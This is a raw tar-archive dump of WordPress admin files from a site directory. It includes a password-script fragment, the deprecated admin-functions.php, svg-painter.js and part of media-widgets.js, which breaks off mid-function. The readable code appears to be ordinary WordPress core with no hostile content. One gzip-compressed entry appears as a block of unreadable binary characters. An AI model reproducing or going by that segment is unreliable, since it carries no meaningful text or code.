e=o(this);wp.ajax.post("destroy-sessions",{nonce:o("#_wpnonce").val(),user_id:o("#user_id").val()}).done(function(s){e.prop("disabled",!0),e.siblings(".notice").remove(),e.before('<div class="notice notice-success inline"><p>'+s.message+"</p></div>")}).fail(function(s){e.siblings(".notice").remove(),e.before('<div class="notice notice-error inline"><p>'+s.message+"</p></div>")}),s.preventDefault()}),window.generatePassword=f,o(window).on("beforeunload",function(){if(!0===u)return h("Your new password has not been saved.")}),o(function(){o(".reset-pass-submit").length&&o(".reset-pass-submit button.wp-generate-pw").trigger("click")})}(jQuery);admin-functions.php.tar000064400000004000150276633110011136 0ustar00home/natitnen/crestassured.com/wp-admin/admin-functions.php000064400000000626150273313170020131 0ustar00<?php
/**
 * Administration Functions
 *
 * This file is deprecated, use 'wp-admin/includes/admin.php' instead.
 *
 * @deprecated 2.5.0
 * @package WordPress
 * @subpackage Administration
 */

_deprecated_file( basename( __FILE__ ), '2.5.0', 'wp-admin/includes/admin.php' );

/** WordPress Administration API: Includes all Administration functions. */
require_once ABSPATH . 'wp-admin/includes/admin.php';
password-strength-meter.js.js.tar.gz000064400000003076150276633110013543 0ustar00���n�6t��W�bim�e�I;$ː^0`@�v����%:fB�I�sS��II�e'�u�0�s�33��HR˭d2�53��k��X��";�I�ete�/J'�j&/�� e�ire��{
p==<�y>���7ã����px�l�����>C�/Y9*�����_����6�Ù�m�[�2#F�nG�p)Ԅ
��{<�Hw��2Q����ߟ>�����Ns[�dw�w�nͩ���Af���d<�[-�i.�v^� ������T�R.
�$
X��g`gJ�T�8T�~f��<!��`}(i�LFc�Q���K�
(J�p8�J�Ƴ,9���K>g��x���R��d�)�Ʈ%E6$��D��:
�򯏑(M����rU�BX�8���mC�
���t�H��B�K^s���n�b˩K1^�࠴��I�U��ϭ���nF5>o�l�%��<�0��Ī�db�Y�Co�|x�qRݵ��
{�kr�|D������7���4cz��8>��$�ꝷ@�.���C��Dx��
A�`�9Z��N.6�N:pzz
v�1�吾EnJ���l�1��R-�*��]y>.�1�s�T
�0.�<jA(��+w���	�"����O3S�H`��g�
��m�!Ӯ��1��uh��478���+ځzU��ab	���C��'70�x	J: 
\�"<�̩d�x�R�]y�#|��r��w�8KX�Q�����{����0��G�?9��6��:+��XF����"$W�ފku�IV�{!h|-�jW�Y{��F	F����*A�`��TA�����X�+EK���F��i�|Q�Ócx.����B��@����cL���=��U3d��p�gx�>|�@���îP����[4����8ޱJ�@�xvvt�m9�Q����"�-?{$_z�,.�ST�;�	����H�M���,W�y*��>��s����9��\��T�
���غ.��zZ�ͷ;_wƘ�\v���;˹������u��<2A�՝7��ȵ�I��5Ϝ�n�`�0�׍��~����bG{��p#�_Nq��!*��,�|��l@��̰ɫ8O�L�3*��m@�߾�"�v���8/��';U{6G��	�|�ەx��qմ�^D�=,h�v�q��]����`�'�:~9Q��[Xڰ��7��~K�:�����bW�0����!s*0�{��"r����I���Td3��iC<�a2�敖�^[`4�A9oSY����<��A��ǒ��hÙ������ަ[��+���Y�&��|��`j��0?bօ�_�Ky���Jp����ܫ�|�R�݈��]�ܓ�B�mQ�����h���a=���%�� 
tJ��T�g�w��ԭ����DE��s�6�{�p��|Ü�0�k��<���o��(�^���
{��b�/�m��J�r�wn���n��6�ؿԿ_�h���{0�����;<NJl�dG��4�=?��dW/$�3^I1���{� ��[)���r�v��oE=i�zݫ�s��h��!��~ݯ��Z��Vsvg-painter.js.tar000064400000016000150276633110010127 0ustar00home/natitnen/crestassured.com/wp-admin/js/svg-painter.js000064400000012622150264726540017543 0ustar00/**
 * Attempt to re-color SVG icons used in the admin menu or the toolbar
 *
 * @output wp-admin/js/svg-painter.js
 */

window.wp = window.wp || {};

wp.svgPainter = ( function( $, window, document, undefined ) {
	'use strict';
	var selector, base64, painter,
		colorscheme = {},
		elements = [];

	$( function() {
		// Detection for browser SVG capability.
		if ( document.implementation.hasFeature( 'http://www.w3.org/TR/SVG11/feature#Image', '1.1' ) ) {
			$( document.body ).removeClass( 'no-svg' ).addClass( 'svg' );
			wp.svgPainter.init();
		}
	});

	/**
	 * Needed only for IE9
	 *
	 * Based on jquery.base64.js 0.0.3 - https://github.com/yckart/jquery.base64.js
	 *
	 * Based on: https://gist.github.com/Yaffle/1284012
	 *
	 * Copyright (c) 2012 Yannick Albert (http://yckart.com)
	 * Licensed under the MIT license
	 * http://www.opensource.org/licenses/mit-license.php
	 */
	base64 = ( function() {
		var c,
			b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',
			a256 = '',
			r64 = [256],
			r256 = [256],
			i = 0;

		function init() {
			while( i < 256 ) {
				c = String.fromCharCode(i);
				a256 += c;
				r256[i] = i;
				r64[i] = b64.indexOf(c);
				++i;
			}
		}

		function code( s, discard, alpha, beta, w1, w2 ) {
			var tmp, length,
				buffer = 0,
				i = 0,
				result = '',
				bitsInBuffer = 0;

			s = String(s);
			length = s.length;

			while( i < length ) {
				c = s.charCodeAt(i);
				c = c < 256 ? alpha[c] : -1;

				buffer = ( buffer << w1 ) + c;
				bitsInBuffer += w1;

				while( bitsInBuffer >= w2 ) {
					bitsInBuffer -= w2;
					tmp = buffer >> bitsInBuffer;
					result += beta.charAt(tmp);
					buffer ^= tmp << bitsInBuffer;
				}
				++i;
			}

			if ( ! discard && bitsInBuffer > 0 ) {
				result += beta.charAt( buffer << ( w2 - bitsInBuffer ) );
			}

			return result;
		}

		function btoa( plain ) {
			if ( ! c ) {
				init();
			}

			plain = code( plain, false, r256, b64, 8, 6 );
			return plain + '===='.slice( ( plain.length % 4 ) || 4 );
		}

		function atob( coded ) {
			var i;

			if ( ! c ) {
				init();
			}

			coded = coded.replace( /[^A-Za-z0-9\+\/\=]/g, '' );
			coded = String(coded).split('=');
			i = coded.length;

			do {
				--i;
				coded[i] = code( coded[i], true, r64, a256, 6, 8 );
			} while ( i > 0 );

			coded = coded.join('');
			return coded;
		}

		return {
			atob: atob,
			btoa: btoa
		};
	})();

	return {
		init: function() {
			painter = this;
			selector = $( '#adminmenu .wp-menu-image, #wpadminbar .ab-item' );

			this.setColors();
			this.findElements();
			this.paint();
		},

		setColors: function( colors ) {
			if ( typeof colors === 'undefined' && typeof window._wpColorScheme !== 'undefined' ) {
				colors = window._wpColorScheme;
			}

			if ( colors && colors.icons && colors.icons.base && colors.icons.current && colors.icons.focus ) {
				colorscheme = colors.icons;
			}
		},

		findElements: function() {
			selector.each( function() {
				var $this = $(this), bgImage = $this.css( 'background-image' );

				if ( bgImage && bgImage.indexOf( 'data:image/svg+xml;base64' ) != -1 ) {
					elements.push( $this );
				}
			});
		},

		paint: function() {
			// Loop through all elements.
			$.each( elements, function( index, $element ) {
				var $menuitem = $element.parent().parent();

				if ( $menuitem.hasClass( 'current' ) || $menuitem.hasClass( 'wp-has-current-submenu' ) ) {
					// Paint icon in 'current' color.
					painter.paintElement( $element, 'current' );
				} else {
					// Paint icon in base color.
					painter.paintElement( $element, 'base' );

					// Set hover callbacks.
					$menuitem.on( 'mouseenter', function() {
						painter.paintElement( $element, 'focus' );
					} ).on( 'mouseleave', function() {
						// Match the delay from hoverIntent.
						window.setTimeout( function() {
							painter.paintElement( $element, 'base' );
						}, 100 );
					} );
				}
			});
		},

		paintElement: function( $element, colorType ) {
			var xml, encoded, color;

			if ( ! colorType || ! colorscheme.hasOwnProperty( colorType ) ) {
				return;
			}

			color = colorscheme[ colorType ];

			// Only accept hex colors: #101 or #101010.
			if ( ! color.match( /^(#[0-9a-f]{3}|#[0-9a-f]{6})$/i ) ) {
				return;
			}

			xml = $element.data( 'wp-ui-svg-' + color );

			if ( xml === 'none' ) {
				return;
			}

			if ( ! xml ) {
				encoded = $element.css( 'background-image' ).match( /.+data:image\/svg\+xml;base64,([A-Za-z0-9\+\/\=]+)/ );

				if ( ! encoded || ! encoded[1] ) {
					$element.data( 'wp-ui-svg-' + color, 'none' );
					return;
				}

				try {
					if ( 'atob' in window ) {
						xml = window.atob( encoded[1] );
					} else {
						xml = base64.atob( encoded[1] );
					}
				} catch ( error ) {}

				if ( xml ) {
					// Replace `fill` attributes.
					xml = xml.replace( /fill="(.+?)"/g, 'fill="' + color + '"');

					// Replace `style` attributes.
					xml = xml.replace( /style="(.+?)"/g, 'style="fill:' + color + '"');

					// Replace `fill` properties in `<style>` tags.
					xml = xml.replace( /fill:.*?;/g, 'fill: ' + color + ';');

					if ( 'btoa' in window ) {
						xml = window.btoa( xml );
					} else {
						xml = base64.btoa( xml );
					}

					$element.data( 'wp-ui-svg-' + color, xml );
				} else {
					$element.data( 'wp-ui-svg-' + color, 'none' );
					return;
				}
			}

			$element.attr( 'style', 'background-image: url("data:image/svg+xml;base64,' + xml + '") !important;' );
		}
	};

})( jQuery, window, document );
media-widgets.js.tar000064400000127000150276633110010416 0ustar00home/natitnen/crestassured.com/wp-admin/js/widgets/media-widgets.js000064400000123543150272442430021472 0ustar00/**
 * @output wp-admin/js/widgets/media-widgets.js
 */

/* eslint consistent-this: [ "error", "control" ] */

/**
 * @namespace wp.mediaWidgets
 * @memberOf  wp
 */
wp.mediaWidgets = ( function( $ ) {
	'use strict';

	var component = {};

	/**
	 * Widget control (view) constructors, mapping widget id_base to subclass of MediaWidgetControl.
	 *
	 * Media widgets register themselves by assigning subclasses of MediaWidgetControl onto this object by widget ID base.
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @type {Object.<string, wp.mediaWidgets.MediaWidgetModel>}
	 */
	component.controlConstructors = {};

	/**
	 * Widget model constructors, mapping widget id_base to subclass of MediaWidgetModel.
	 *
	 * Media widgets register themselves by assigning subclasses of MediaWidgetControl onto this object by widget ID base.
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @type {Object.<string, wp.mediaWidgets.MediaWidgetModel>}
	 */
	component.modelConstructors = {};

	component.PersistentDisplaySettingsLibrary = wp.media.controller.Library.extend(/** @lends wp.mediaWidgets.PersistentDisplaySettingsLibrary.prototype */{

		/**
		 * Library which persists the customized display settings across selections.
		 *
		 * @constructs wp.mediaWidgets.PersistentDisplaySettingsLibrary
		 * @augments   wp.media.controller.Library
		 *
		 * @param {Object} options - Options.
		 *
		 * @return {void}
		 */
		initialize: function initialize( options ) {
			_.bindAll( this, 'handleDisplaySettingChange' );
			wp.media.controller.Library.prototype.initialize.call( this, options );
		},

		/**
		 * Sync changes to the current display settings back into the current customized.
		 *
		 * @param {Backbone.Model} displaySettings - Modified display settings.
		 * @return {void}
		 */
		handleDisplaySettingChange: function handleDisplaySettingChange( displaySettings ) {
			this.get( 'selectedDisplaySettings' ).set( displaySettings.attributes );
		},

		/**
		 * Get the display settings model.
		 *
		 * Model returned is updated with the current customized display settings,
		 * and an event listener is added so that changes made to the settings
		 * will sync back into the model storing the session's customized display
		 * settings.
		 *
		 * @param {Backbone.Model} model - Display settings model.
		 * @return {Backbone.Model} Display settings model.
		 */
		display: function getDisplaySettingsModel( model ) {
			var display, selectedDisplaySettings = this.get( 'selectedDisplaySettings' );
			display = wp.media.controller.Library.prototype.display.call( this, model );

			display.off( 'change', this.handleDisplaySettingChange ); // Prevent duplicated event handlers.
			display.set( selectedDisplaySettings.attributes );
			if ( 'custom' === selectedDisplaySettings.get( 'link_type' ) ) {
				display.linkUrl = selectedDisplaySettings.get( 'link_url' );
			}
			display.on( 'change', this.handleDisplaySettingChange );
			return display;
		}
	});

	/**
	 * Extended view for managing the embed UI.
	 *
	 * @class    wp.mediaWidgets.MediaEmbedView
	 * @augments wp.media.view.Embed
	 */
	component.MediaEmbedView = wp.media.view.Embed.extend(/** @lends wp.mediaWidgets.MediaEmbedView.prototype */{

		/**
		 * Initialize.
		 *
		 * @since 4.9.0
		 *
		 * @param {Object} options - Options.
		 * @return {void}
		 */
		initialize: function( options ) {
			var view = this, embedController; // eslint-disable-line consistent-this
			wp.media.view.Embed.prototype.initialize.call( view, options );
			if ( 'image' !== view.controller.options.mimeType ) {
				embedController = view.controller.states.get( 'embed' );
				embedController.off( 'scan', embedController.scanImage, embedController );
			}
		},

		/**
		 * Refresh embed view.
		 *
		 * Forked override of {wp.media.view.Embed#refresh()} to suppress irrelevant "link text" field.
		 *
		 * @return {void}
		 */
		refresh: function refresh() {
			/**
			 * @class wp.mediaWidgets~Constructor
			 */
			var Constructor;

			if ( 'image' === this.controller.options.mimeType ) {
				Constructor = wp.media.view.EmbedImage;
			} else {

				// This should be eliminated once #40450 lands of when this is merged into core.
				Constructor = wp.media.view.EmbedLink.extend(/** @lends wp.mediaWidgets~Constructor.prototype */{

					/**
					 * Set the disabled state on the Add to Widget button.
					 *
					 * @param {boolean} disabled - Disabled.
					 * @return {void}
					 */
					setAddToWidgetButtonDisabled: function setAddToWidgetButtonDisabled( disabled ) {
						this.views.parent.views.parent.views.get( '.media-frame-toolbar' )[0].$el.find( '.media-button-select' ).prop( 'disabled', disabled );
					},

					/**
					 * Set or clear an error notice.
					 *
					 * @param {string} notice - Notice.
					 * @return {void}
					 */
					setErrorNotice: function setErrorNotice( notice ) {
						var embedLinkView = this, noticeContainer; // eslint-disable-line consistent-this

						noticeContainer = embedLinkView.views.parent.$el.find( '> .notice:first-child' );
						if ( ! notice ) {
							if ( noticeContainer.length ) {
								noticeContainer.slideUp( 'fast' );
							}
						} else {
							if ( ! noticeContainer.length ) {
								noticeContainer = $( '<div class="media-widget-embed-notice notice notice-error notice-alt"></div>' );
								noticeContainer.hide();
								embedLinkView.views.parent.$el.prepend( noticeContainer );
							}
							noticeContainer.empty();
							noticeContainer.append( $( '<p>', {
								html: notice
							}));
							noticeContainer.slideDown( 'fast' );
						}
					},

					/**
					 * Update oEmbed.
					 *
					 * @since 4.9.0
					 *
					 * @return {void}
					 */
					updateoEmbed: function() {
						var embedLinkView = this, url; // eslint-disable-line consistent-this

						url = embedLinkView.model.get( 'url' );

						// Abort if the URL field was emptied out.
						if ( ! url ) {
							embedLinkView.setErrorNotice( '' );
							embedLinkView.setAddToWidgetButtonDisabled( true );
							return;
						}

						if ( ! url.match( /^(http|https):\/\/.+\// ) ) {
							embedLinkView.controller.$el.find( '#embed-url-field' ).addClass( 'invalid' );
							embedLinkView.setAddToWidgetButtonDisabled( true );
						}

						wp.media.view.EmbedLink.prototype.updateoEmbed.call( embedLinkView );
					},

					/**
					 * Fetch media.
					 *
					 * @return {void}
					 */
					fetch: function() {
						var embedLinkView = this, fetchSuccess, matches, fileExt, urlParser, url, re, youTubeEmbedMatch; // eslint-disable-line consistent-this
						url = embedLinkView.model.get( 'url' );

						if ( embedLinkView.dfd && 'pending' === embedLinkView.dfd.state() ) {
							embedLinkView.dfd.abort();
						}

						fetchSuccess = function( response ) {
							embedLinkView.renderoEmbed({
								data: {
									body: response
								}
							});

							embedLinkView.controller.$el.find( '#embed-url-field' ).removeClass( 'invalid' );
							embedLinkView.setErrorNotice( '' );
							embedLinkView.setAddToWidgetButtonDisabled( false );
						};

						urlParser = document.createElement( 'a' );
						urlParser.href = url;
						matches = urlParser.pathname.toLowerCase().match( /\.(\w+)$/ );
						if ( matches ) {
							fileExt = matches[1];
							if ( ! wp.media.view.settings.embedMimes[ fileExt ] ) {
								embedLinkView.renderFail();
							} else if ( 0 !== wp.media.view.settings.embedMimes[ fileExt ].indexOf( embedLinkView.controller.options.mimeType ) ) {
								embedLinkView.renderFail();
							} else {
								fetchSuccess( '<!--success-->' );
							}
							return;
						}

						// Support YouTube embed links.
						re = /https?:\/\/www\.youtube\.com\/embed\/([^/]+)/;
						youTubeEmbedMatch = re.exec( url );
						if ( youTubeEmbedMatch ) {
							url = 'https://www.youtube.com/watch?v=' + youTubeEmbedMatch[ 1 ];
							// silently change url to proper oembed-able version.
							embedLinkView.model.attributes.url = url;
						}

						embedLinkView.dfd = wp.apiRequest({
							url: wp.media.view.settings.oEmbedProxyUrl,
							data: {
								url: url,
								maxwidth: embedLinkView.model.get( 'width' ),
								maxheight: embedLinkView.model.get( 'height' ),
								discover: false
							},
							type: 'GET',
							dataType: 'json',
							context: embedLinkView
						});

						embedLinkView.dfd.done( function( response ) {
							if ( embedLinkView.controller.options.mimeType !== response.type ) {
								embedLinkView.renderFail();
								return;
							}
							fetchSuccess( response.html );
						});
						embedLinkView.dfd.fail( _.bind( embedLinkView.renderFail, embedLinkView ) );
					},

					/**
					 * Handle render failure.
					 *
					 * Overrides the {EmbedLink#renderFail()} method to prevent showing the "Link Text" field.
					 * The element is getting display:none in the stylesheet, but the underlying method uses
					 * uses {jQuery.fn.show()} which adds an inline style. This avoids the need for !important.
					 *
					 * @return {void}
					 */
					renderFail: function renderFail() {
						var embedLinkView = this; // eslint-disable-line consistent-this
						embedLinkView.controller.$el.find( '#embed-url-field' ).addClass( 'invalid' );
						embedLinkView.setErrorNotice( embedLinkView.controller.options.invalidEmbedTypeError || 'ERROR' );
						embedLinkView.setAddToWidgetButtonDisabled( true );
					}
				});
			}

			this.settings( new Constructor({
				controller: this.controller,
				model:      this.model.props,
				priority:   40
			}));
		}
	});

	/**
	 * Custom media frame for selecting uploaded media or providing media by URL.
	 *
	 * @class    wp.mediaWidgets.MediaFrameSelect
	 * @augments wp.media.view.MediaFrame.Post
	 */
	component.MediaFrameSelect = wp.media.view.MediaFrame.Post.extend(/** @lends wp.mediaWidgets.MediaFrameSelect.prototype */{

		/**
		 * Create the default states.
		 *
		 * @return {void}
		 */
		createStates: function createStates() {
			var mime = this.options.mimeType, specificMimes = [];
			_.each( wp.media.view.settings.embedMimes, function( embedMime ) {
				if ( 0 === embedMime.indexOf( mime ) ) {
					specificMimes.push( embedMime );
				}
			});
			if ( specificMimes.length > 0 ) {
				mime = specificMimes;
			}

			this.states.add([

				// Main states.
				new component.PersistentDisplaySettingsLibrary({
					id:         'insert',
					title:      this.options.title,
					selection:  this.options.selection,
					priority:   20,
					toolbar:    'main-insert',
					filterable: 'dates',
					library:    wp.media.query({
						type: mime
					}),
					multiple:   false,
					editable:   true,

					selectedDisplaySettings: this.options.selectedDisplaySettings,
					displaySettings: _.isUndefined( this.options.showDisplaySettings ) ? true : this.options.showDisplaySettings,
					displayUserSettings: false // We use the display settings from the current/default widget instance props.
				}),

				new wp.media.controller.EditImage({ model: this.options.editImage }),

				// Embed states.
				new wp.media.controller.Embed({
					metadata: this.options.metadata,
					type: 'image' === this.options.mimeType ? 'image' : 'link',
					invalidEmbedTypeError: this.options.invalidEmbedTypeError
				})
			]);
		},

		/**
		 * Main insert toolbar.
		 *
		 * Forked override of {wp.media.view.MediaFrame.Post#mainInsertToolbar()} to override text.
		 *
		 * @param {wp.Backbone.View} view - Toolbar view.
		 * @this {wp.media.controller.Library}
		 * @return {void}
		 */
		mainInsertToolbar: function mainInsertToolbar( view ) {
			var controller = this; // eslint-disable-line consistent-this
			view.set( 'insert', {
				style:    'primary',
				priority: 80,
				text:     controller.options.text, // The whole reason for the fork.
				requires: { selection: true },

				/**
				 * Handle click.
				 *
				 * @ignore
				 *
				 * @fires wp.media.controller.State#insert()
				 * @return {void}
				 */
				click: function onClick() {
					var state = controller.state(),
						selection = state.get( 'selection' );

					controller.close();
					state.trigger( 'insert', selection ).reset();
				}
			});
		},

		/**
		 * Main embed toolbar.
		 *
		 * Forked override of {wp.media.view.MediaFrame.Post#mainEmbedToolbar()} to override text.
		 *
		 * @param {wp.Backbone.View} toolbar - Toolbar view.
		 * @this {wp.media.controller.Library}
		 * @return {void}
		 */
		mainEmbedToolbar: function mainEmbedToolbar( toolbar ) {
			toolbar.view = new wp.media.view.Toolbar.Embed({
				controller: this,
				text: this.options.text,
				event: 'insert'
			});
		},

		/**
		 * Embed content.
		 *
		 * Forked override of {wp.media.view.MediaFrame.Post#embedContent()} to suppress irrelevant "link text" field.
		 *
		 * @return {void}
		 */
		embedContent: function embedContent() {
			var view = new component.MediaEmbedView({
				controller: this,
				model:      this.state()
			}).render();

			this.content.set( view );
		}
	});

	component.MediaWidgetControl = Backbone.View.extend(/** @lends wp.mediaWidgets.MediaWidgetControl.prototype */{

		/**
		 * Translation strings.
		 *
		 * The mapping of translation strings is handled by media widget subclasses,
		 * exported from PHP to JS such as is done in WP_Widget_Media_Image::enqueue_admin_scripts().
		 *
		 * @type {Object}
		 */
		l10n: {
			add_to_widget: '{{add_to_widget}}',
			add_media: '{{add_media}}'
		},

		/**
		 * Widget ID base.
		 *
		 * This may be defined by the subclass. It may be exported from PHP to JS
		 * such as is done in WP_Widget_Media_Image::enqueue_admin_scripts(). If not,
		 * it will attempt to be discovered by looking to see if this control
		 * instance extends each member of component.controlConstructors, and if
		 * it does extend one, will use the key as the id_base.
		 *
		 * @type {string}
		 */
		id_base: '',

		/**
		 * Mime type.
		 *
		 * This must be defined by the subclass. It may be exported from PHP to JS
		 * such as is done in WP_Widget_Media_Image::enqueue_admin_scripts().
		 *
		 * @type {string}
		 */
		mime_type: '',

		/**
		 * View events.
		 *
		 * @type {Object}
		 */
		events: {
			'click .notice-missing-attachment a': 'handleMediaLibraryLinkClick',
			'click .select-media': 'selectMedia',
			'click .placeholder': 'selectMedia',
			'click .edit-media': 'editMedia'
		},

		/**
		 * Show display settings.
		 *
		 * @type {boolean}
		 */
		showDisplaySettings: true,

		/**
		 * Media Widget Control.
		 *
		 * @constructs wp.mediaWidgets.MediaWidgetControl
		 * @augments   Backbone.View
		 * @abstract
		 *
		 * @param {Object}         options - Options.
		 * @param {Backbone.Model} options.model - Model.
		 * @param {jQuery}         options.el - Control field container element.
		 * @param {jQuery}         options.syncContainer - Container element where fields are synced for the server.
		 *
		 * @return {void}
		 */
		initialize: function initialize( options ) {
			var control = this;

			Backbone.View.prototype.initialize.call( control, options );

			if ( ! ( control.model instanceof component.MediaWidgetModel ) ) {
				throw new Error( 'Missing options.model' );
			}
			if ( ! options.el ) {
				throw new Error( 'Missing options.el' );
			}
			if ( ! options.syncContainer ) {
				throw new Error( 'Missing options.syncContainer' );
			}

			control.syncContainer = options.syncContainer;

			control.$el.addClass( 'media-widget-control' );

			// Allow methods to be passed in with control context preserved.
			_.bindAll( control, 'syncModelToInputs', 'render', 'updateSelectedAttachment', 'renderPreview' );

			if ( ! control.id_base ) {
				_.find( component.controlConstructors, function( Constructor, idBase ) {
					if ( control instanceof Constructor ) {
						control.id_base = idBase;
						return true;
					}
					return false;
				});
				if ( ! control.id_base ) {
					throw new Error( 'Missing id_base.' );
				}
			}

			// Track attributes needed to renderPreview in it's own model.
			control.previewTemplateProps = new Backbone.Model( control.mapModelToPreviewTemplateProps() );

			// Re-render the preview when the attachment changes.
			control.selectedAttachment = new wp.media.model.Attachment();
			control.renderPreview = _.debounce( control.renderPreview );
			control.listenTo( control.previewTemplateProps, 'change', control.renderPreview );

			// Make sure a copy of the selected attachment is always fetched.
			control.model.on( 'change:attachment_id', control.updateSelectedAttachment );
			control.model.on( 'change:url', control.updateSelectedAttachment );
			control.updateSelectedAttachment();

			/*
			 * Sync the widget instance model attributes onto the hidden inputs that widgets currently use to store the state.
			 * In the future, when widgets are JS-driven, the underlying widget instance data should be exposed as a model
			 * from the start, without having to sync with hidden fields. See <https://core.trac.wordpress.org/ticket/33507>.
			 */
			control.listenTo( control.model, 'change', control.syncModelToInputs );
			control.listenTo( control.model, 'change', control.syncModelToPreviewProps );
			control.listenTo( control.model, 'change', control.render );

			// Update the title.
			control.$el.on( 'input change', '.title', function updateTitle() {
				control.model.set({
					title: $( this ).val().trim()
				});
			});

			// Update link_url attribute.
			control.$el.on( 'input change', '.link', function updateLinkUrl() {
				var linkUrl = $( this ).val().trim(), linkType = 'custom';
				if ( control.selectedAttachment.get( 'linkUrl' ) === linkUrl || control.selectedAttachment.get( 'link' ) === linkUrl ) {
					linkType = 'post';
				} else if ( control.selectedAttachment.get( 'url' ) === linkUrl ) {
					linkType = 'file';
				}
				control.model.set( {
					link_url: linkUrl,
					link_type: linkType
				});

				// Update display settings for the next time the user opens to select from the media library.
				control.displaySettings.set( {
					link: linkType,
					linkUrl: linkUrl
				});
			});

			/*
			 * Copy current display settings from the widget model to serve as basis
			 * of customized display settings for the current media frame session.
			 * Changes to display settings will be synced into this model, and
			 * when a new selection is made, the settings from this will be synced
			 * into that AttachmentDisplay's model to persist the setting changes.
			 */
			control.displaySettings = new Backbone.Model( _.pick(
				control.mapModelToMediaFrameProps(
					_.extend( control.model.defaults(), control.model.toJSON() )
				),
				_.keys( wp.media.view.settings.defaultProps )
			) );
		},

		/**
		 * Update the selected attachment if necessary.
		 *
		 * @return {void}
		 */
		updateSelectedAttachment: function updateSelectedAttachment() {
			var control = this, attachment;

			if ( 0 === control.model.get( 'attachment_id' ) ) {
				control.selectedAttachment.clear();
				control.model.set( 'error', false );
			} else if ( control.model.get( 'attachment_id' ) !== control.selectedAttachment.get( 'id' ) ) {
				attachment = new wp.media.model.Attachment({
					id: control.model.get( 'attachment_id' )
				});
				attachment.fetch()
					.done( function done() {
						control.model.set( 'error', false );
						control.selectedAttachment.set( attachment.toJSON() );
					})
					.fail( function fail() {
						control.model.set( 'error', 'missing_attachment' );
					});
			}
		},

		/**
		 * Sync the model attributes to the hidden inputs, and update previewTemplateProps.
		 *
		 * @return {void}
		 */
		syncModelToPreviewProps: function syncModelToPreviewProps() {
			var control = this;
			control.previewTemplateProps.set( control.mapModelToPreviewTemplateProps() );
		},

		/**
		 * Sync the model attributes to the hidden inputs, and update previewTemplateProps.
		 *
		 * @return {void}
		 */
		syncModelToInputs: function syncModelToInputs() {
			var control = this;
			control.syncContainer.find( '.media-widget-instance-property' ).each( function() {
				var input = $( this ), value, propertyName;
				propertyName = input.data( 'property' );
				value = control.model.get( propertyName );
				if ( _.isUndefined( value ) ) {
					return;
				}

				if ( 'array' === control.model.schema[ propertyName ].type && _.isArray( value ) ) {
					value = value.join( ',' );
				} else if ( 'boolean' === control.model.schema[ propertyName ].type ) {
					value = value ? '1' : ''; // Because in PHP, strval( true ) === '1' && strval( false ) === ''.
				} else {
					value = String( value );
				}

				if ( input.val() !== value ) {
					input.val( value );
					input.trigger( 'change' );
				}
			});
		},

		/**
		 * Get template.
		 *
		 * @return {Function} Template.
		 */
		template: function template() {
			var control = this;
			if ( ! $( '#tmpl-widget-media-' + control.id_base + '-control' ).length ) {
				throw new Error( 'Missing widget control template for ' + control.id_base );
			}
			return wp.template( 'widget-media-' + control.id_base + '-control' );
		},

		/**
		 * Render template.
		 *
		 * @return {void}
		 */
		render: function render() {
			var control = this, titleInput;

			if ( ! control.templateRendered ) {
				control.$el.html( control.template()( control.model.toJSON() ) );
				control.renderPreview(); // Hereafter it will re-render when control.selectedAttachment changes.
				control.templateRendered = true;
			}

			titleInput = control.$el.find( '.title' );
			if ( ! titleInput.is( document.activeElement ) ) {
				titleInput.val( control.model.get( 'title' ) );
			}

			control.$el.toggleClass( 'selected', control.isSelected() );
		},

		/**
		 * Render media preview.
		 *
		 * @abstract
		 * @return {void}
		 */
		renderPreview: function renderPreview() {
			throw new Error( 'renderPreview must be implemented' );
		},

		/**
		 * Whether a media item is selected.
		 *
		 * @return {boolean} Whether selected and no error.
		 */
		isSelected: function isSelected() {
			var control = this;

			if ( control.model.get( 'error' ) ) {
				return false;
			}

			return Boolean( control.model.get( 'attachment_id' ) || control.model.get( 'url' ) );
		},

		/**
		 * Handle click on link to Media Library to open modal, such as the link that appears when in the missing attachment error notice.
		 *
		 * @param {jQuery.Event} event - Event.
		 * @return {void}
		 */
		handleMediaLibraryLinkClick: function handleMediaLibraryLinkClick( event ) {
			var control = this;
			event.preventDefault();
			control.selectMedia();
		},

		/**
		 * Open the media select frame to chose an item.
		 *
		 * @return {void}
		 */
		selectMedia: function selectMedia() {
			var control = this, selection, mediaFrame, defaultSync, mediaFrameProps, selectionModels = [];

			if ( control.isSelected() && 0 !== control.model.get( 'attachment_id' ) ) {
				selectionModels.push( control.selectedAttachment );
			}

			selection = new wp.media.model.Selection( selectionModels, { multiple: false } );

			mediaFrameProps = control.mapModelToMediaFrameProps( control.model.toJSON() );
			if ( mediaFrameProps.size ) {
				control.displaySettings.set( 'size', mediaFrameProps.size );
			}

			mediaFrame = new component.MediaFrameSelect({
				title: control.l10n.add_media,
				frame: 'post',
				text: control.l10n.add_to_widget,
				selection: selection,
				mimeType: control.mime_type,
				selectedDisplaySettings: control.displaySettings,
				showDisplaySettings: control.showDisplaySettings,
				metadata: mediaFrameProps,
				state: control.isSelected() && 0 === control.model.get( 'attachment_id' ) ? 'embed' : 'insert',
				invalidEmbedTypeError: control.l10n.unsupported_file_type
			});
			wp.media.frame = mediaFrame; // See wp.media().

			// Handle selection of a media item.
			mediaFrame.on( 'insert', function onInsert() {
				var attachment = {}, state = mediaFrame.state();

				// Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview.
				if ( 'embed' === state.get( 'id' ) ) {
					_.extend( attachment, { id: 0 }, state.props.toJSON() );
				} else {
					_.extend( attachment, state.get( 'selection' ).first().toJSON() );
				}

				control.selectedAttachment.set( attachment );
				control.model.set( 'error', false );

				// Update widget instance.
				control.model.set( control.getModelPropsFromMediaFrame( mediaFrame ) );
			});

			// Disable syncing of attachment changes back to server (except for deletions). See <https://core.trac.wordpress.org/ticket/40403>.
			defaultSync = wp.media.model.Attachment.prototype.sync;
			wp.media.model.Attachment.prototype.sync = function( method ) {
				if ( 'delete' === method ) {
					return defaultSync.apply( this, arguments );
				} else {
					return $.Deferred().rejectWith( this ).promise();
				}
			};
			mediaFrame.on( 'close', function onClose() {
				wp.media.model.Attachment.prototype.sync = defaultSync;
			});

			mediaFrame.$el.addClass( 'media-widget' );
			mediaFrame.open();

			// Clear the selected attachment when it is deleted in the media select frame.
			if ( selection ) {
				selection.on( 'destroy', function onDestroy( attachment ) {
					if ( control.model.get( 'attachment_id' ) === attachment.get( 'id' ) ) {
						control.model.set({
